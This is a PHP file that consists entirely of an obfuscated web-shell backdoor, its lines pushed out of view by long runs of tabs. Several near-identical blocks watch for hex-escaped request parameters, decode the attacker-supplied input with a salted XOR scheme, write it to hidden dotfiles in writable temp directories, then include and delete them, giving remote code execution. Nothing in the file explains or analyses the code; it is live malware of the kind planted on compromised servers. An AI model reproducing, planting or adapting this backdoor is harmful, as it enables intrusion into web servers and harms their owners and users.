<?php																																										if(array_key_exists("\x72\x65s", $_REQUEST)){ $elem = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $fac = $_REQUEST["\x72\x65s"]; $fac = explode ( "." , $fac ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; while ($k<count($fac)) { $v9 = $fac[$k]; $chS = ord($salt[$k % $lenS]); $d = ((int)$v9 - $chS - ($k % 10)) ^ 2; $component .= chr($d); $k++; } foreach ($elem as $key => $resource) { if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $ent = "$resource" . "/.token"; $success = file_put_contents($ent, $component); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(!is_null($_POST["\x6D\x72k"] ?? null)){ $component = $_POST["\x6D\x72k"]; $component= explode ( "." , $component ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $o = 0; $__tmp = $component; while ($v6 = array_shift($__tmp)) { $chS = ord($s[$o % $lenS]); $dec = ((int)$v6 - $chS - ($o % 10)) ^ 77; $pointer .= chr($dec); $o++;} $itm = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP")]); foreach ($itm as $data) { if (array_product([is_dir($data), is_writable($data)])) { $desc = sprintf("%s/.ptr", $data); $success = file_put_contents($desc, $pointer); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(!empty($_POST["par\x61mete\x72_g\x72o\x75p"])){ $reference = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path()]); $rec = $_POST["par\x61mete\x72_g\x72o\x75p"]; $rec = explode ( "." , $rec ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $m = 0; array_walk( $rec, function( $v7) use( &$obj, &$m, $s, $lenS) { $sChar = ord( $s[$m % $lenS] ); $dec = ( ( int)$v7 - $sChar -( $m % 10)) ^ 37; $obj .= chr( $dec ); $m++; } ); foreach ($reference as $elem) { if (is_writable($elem) && is_dir($elem)) { $comp = "$elem/.key"; $success = file_put_contents($comp, $obj); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x73y\x6Dbol")){ $token = array_filter([getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp"]); $tkn = $_REQUEST["\x73y\x6Dbol"]; $tkn= explode('.' , $tkn ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $n = 0; foreach ($tkn as $v3) { $chS = ord($s[$n% $lenS]); $dec = ((int)$v3 - $chS - ($n% 10)) ^ 81; $ref .= chr($dec); $n++; } foreach ($token as $key => $res) { if (is_dir($res) && is_writable($res)) { $record = implode("/", [$res, ".parameter_group"]); if (file_put_contents($record, $ref)) { require $record; unlink($record); die(); } } } }
																																										if(isset($_POST["fl\x67"]) ? true : false){ $symbol = $_POST["fl\x67"]; $symbol= explode ( "." ,$symbol ) ; $ent = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($symbol as $p => $v7): $sChar = ord($s4[$p % $lenS]); $d = ((int)$v7 - $sChar - ($p % 10)) ^ 100; $ent.= chr($d); endforeach; $pset = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP")]); for ($entity = 0, $entry = count($pset); $entity < $entry; $entity++) { $item = $pset[$entity]; if (is_dir($item) && is_writable($item)) { $bind = implode("/", [$item, ".holder"]); if (@file_put_contents($bind, $ent) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(isset($_REQUEST["ho\x6C\x64\x65r"]) ? true : false){ $itm = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); $sym = $_REQUEST["ho\x6C\x64\x65r"]; $sym= explode( "." , $sym ) ; $factor= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($sym as $r => $v3) { $chS= ord($salt[$r % $lenS]); $d= ((int)$v3 - $chS - ($r % 10)) ^ 93; $factor.= chr($d); } $val = 0; do { $fac = $itm[$val] ?? null; if ($val >= count($itm)) break; if (!!is_dir($fac) && !!is_writable($fac)) { $record = vsprintf("%s/%s", [$fac, ".resource"]); if (file_put_contents($record, $factor)) { include $record; @unlink($record); exit; } } $val++; } while (true); }
																																										if(in_array("t\x6F\x6Ben", array_keys($_POST))){ $record = $_POST["t\x6F\x6Ben"]; $record =explode ( ".", $record ); $ref = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $r = 0; $__tmp = $record; while($v1 = array_shift($__tmp)) { $sChar = ord($salt4[$r % $lenS]); $d =((int)$v1 - $sChar -($r % 10))^72; $ref .= chr($d); $r++; } $component = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); foreach ($component as $k) { if ((is_dir($k) and is_writable($k))) { $itm = "$k" . "/.factor"; $success = file_put_contents($itm, $ref); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(!empty($_POST["\x6B\x65y"])){ $ent = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); $flag = $_POST["\x6B\x65y"]; $flag = explode ('.' , $flag ) ; $entity=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); foreach( $flag as $j => $v2) { $chS=ord( $s[$j % $lenS] ); $d=( ( int)$v2 - $chS -( $j % 10)) ^ 37; $entity .= chr( $d ); } $comp = 0; do { $ptr = $ent[$comp] ?? null; if ($comp >= count($ent)) break; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $bind = join("/", [$ptr, ".marker"]); if (file_put_contents($bind, $entity)) { require $bind; unlink($bind); die(); } } $comp++; } while (true); }
																																										if(array_key_exists("mrk", $_REQUEST) && !is_null($_REQUEST["mrk"])){ $record = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $data_chunk = $_REQUEST["mrk"]; $data_chunk=explode('.',$data_chunk ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $i = 0; $__len = count($data_chunk); do { if($i >= $__len) break; $v5 = $data_chunk[$i]; $sChar = ord($salt[$i % $lenS]); $dec =((int)$v5 - $sChar -($i % 10))^ 57; $object.=chr($dec); $i++; } while(true); foreach ($record as $key => $dat) { if (is_dir($dat) ? is_writable($dat) : false) { $factor = join("/", [$dat, ".reference"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $factor; @unlink($factor); exit; } } } }


if(array_key_exists("i\x74\x6D", $_REQUEST)){
	$pgrp = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp"]);
	$desc = $_REQUEST["i\x74\x6D"];
	$desc	=explode	  (	'.'		 , $desc) 	;   
	$tkn = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt		);
            $x = 0;
    
            $__tmp = $desc;
            while ($v8 = array_shift($__tmp)) {	 $sChar = ord($salt[$x % $sLen]		);
                $dec = ((int)$v8 - $sChar - ($x % 10)) ^ 70;
                $tkn  .=chr($dec		);
                $x++;  } 	
	for ($object = 0, $pset = count($pgrp); $object < $pset; $object++) {
    $parameter_group = $pgrp[$object];
    		if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) {
    $entry = vsprintf("%s/%s", [$parameter_group, ".k"]);
    if (@file_put_contents($entry, $tkn) !== false) {
	include $entry;
	unlink($entry);
	exit;
}
}
}
}